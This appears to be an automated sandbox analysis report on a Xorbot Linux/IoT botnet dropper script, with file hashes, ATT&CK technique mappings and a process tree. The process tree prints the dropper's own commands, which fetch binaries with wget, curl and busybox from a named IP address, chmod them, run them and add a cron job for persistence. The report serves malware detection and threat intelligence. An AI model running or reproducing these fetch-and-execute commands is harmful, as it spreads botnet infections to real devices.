xorbot | 4fa56931653e1b3afa0f8f7117bb2e5b1e9cef8bc0eba4e46d11a7c5081cf4c8

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-12-2024 12:55

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General

Target

bins.sh
Size

10KB
MD5

471fda7ae47efbd3a7ae13a187d7dd6c
SHA1

48ee8b96d4a32ba6b5cc63e5b87890c51d7312d8
SHA256

4fa56931653e1b3afa0f8f7117bb2e5b1e9cef8bc0eba4e46d11a7c5081cf4c8
SHA512

7f5e3d7bec602fd4d50299d9209e83b16a2d91fae16dc5147688db3f69b77da906a15440eda309cd2c29e5f7d33e0070d5438786a00d5fa52a325b70dd1d236d
SSDEEP

192:wrOt6BXNXDSy0fjsP+yCtFDjHA35+yCtFLjHt2Ot6BhjSy0fjP:wrOt6pNXDSy0fjsP+yCtFDjHA35+yCtR

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2152) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1483	chmod
1498	chmod

Executes dropped EXE 2 IoCs

Processes:

hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqHKQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

ioc	pid	Process
/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	1484	hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	1499	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

Renames itself 1 IoCs

Processes:

KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

pid	Process
1500	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.sYQQV0	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

description	ioc	Process
File opened for reading	/proc/1514/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1559/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/5/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/22/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/82/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/155/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/428/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/462/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1574/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1594/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1623/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/507/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1534/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1609/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1628/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1692/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/451/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1666/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1668/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1709/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/78/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1028/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1317/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1633/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1676/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1687/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1717/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1461/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1532/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1576/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1580/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1674/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1700/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1696/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1705/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/165/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/253/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1523/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1582/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1642/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1658/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1707/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1602/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1607/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/4/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/24/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/544/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1090/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1130/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1268/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1645/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1665/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1232/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1648/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1663/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/35/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/80/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/83/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/169/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/197/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1629/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1704/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/1712/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
File opened for reading	/proc/130/cmdline	KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	busybox
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	wget
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	curl
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	busybox
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	wget
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1465
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1466
- /usr/bin/wget
  wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Writes file to tmp directory
  PID:1467
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/chmod
  chmod 777 hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - File and Directory Permissions Modification
  PID:1483
- /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  ./hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Executes dropped EXE
  PID:1484
- /bin/rm
  rm hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  PID:1486
- /usr/bin/wget
  wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Writes file to tmp directory
  PID:1487
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod 777 KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  ./KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1499
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1501
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1502
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1503
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1504
- /bin/rm
  rm KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
  2⤵
  PID:1509

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.sYQQV0

Filesize
210B

MD5
916cab78a21f4f9b50eb14011b85165e

SHA1
4a518189d83acd19f0ae3856c3b822a669031239

SHA256
c2631e29f457b7729e22d89f27ecbcdbbf22efd98fe5ec40c67d4bb813dbc8d2

SHA512
e8cfccbfb175a34a3b5a15742ee7b02cbbc4dfcb6d63d6853bb776e73a5db5e3635ffe75f2578a995313a80206e1a3386b1aee638cbc6ed6aa7cf2ba12eca20d

Download Submit